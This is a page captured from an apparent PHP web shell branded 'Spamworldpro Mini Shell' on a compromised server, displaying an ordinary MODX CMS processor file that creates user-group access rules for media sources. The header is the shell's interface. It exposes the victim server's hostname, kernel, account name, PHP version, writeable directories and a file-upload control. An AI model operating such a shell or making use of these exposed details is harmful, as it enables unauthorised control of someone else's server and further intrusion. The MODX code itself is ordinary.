Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux indy02.toastserver.com 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64
User : palandch ( 1163)
PHP Version : 7.1.33
Disable Function : NONE
Directory :  /home/palandch/www/core/model/modx/processors/security/access/usergroup/source/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/palandch/www/core/model/modx/processors/security/access/usergroup/source/create.class.php
<?php
/**
 * @package modx
 * @subpackage processors.security.group.category
 */
class modSecurityAccessUserGroupSourceCreateProcessor extends modObjectCreateProcessor {
    public $classKey = 'sources.modAccessMediaSource';
    public $languageTopics = array('source','access','user');
    public $permission = 'access_permissions';
    public $objectType = 'source';

    public function beforeSet() {
        $policyId = $this->getProperty('policy');
        $principalId = $this->getProperty('principal');
        $target = $this->getProperty('target');

        if ($principalId == null) {
            $this->addFieldError('principal',$this->modx->lexicon('usergroup_err_ns'));
        }
        if (empty($policyId)) {
            $this->addFieldError('policy',$this->modx->lexicon('access_policy_err_ns'));
        }

        /* validate for invalid data */
        if (!empty($target)) {
            /** @var modMediaSource $mediaSource */
            $mediaSource = $this->modx->getObject('sources.modMediaSource',$target);
            if (empty($mediaSource)) $this->addFieldError('target',$this->modx->lexicon('source_err_nf'));
            if (!$mediaSource->checkPolicy('view')) $this->addFieldError('target',$this->modx->lexicon('access_denied'));
        }

        $policy = $this->modx->getObject('modAccessPolicy',$policyId);
        if (empty($policy)) $this->addFieldError('policy',$this->modx->lexicon('access_policy_err_nf'));

        return parent::beforeSave();
    }

    public function beforeSave() {
        if ($this->doesAlreadyExist(array(
            'principal' => $this->getProperty('principal'),
            'principal_class' => 'modUserGroup',
            'target' => $this->getProperty('target'),
            'policy' => $this->getProperty('policy'),
            'context_key' => $this->getProperty('context_key'),
        ))) {
            $this->addFieldError('target',$this->modx->lexicon('access_source_err_ae'));
        }

        $this->object->set('principal_class','modUserGroup');
        return parent::beforeSave();
    }

}
return 'modSecurityAccessUserGroupSourceCreateProcessor';

Spamworldpro Mini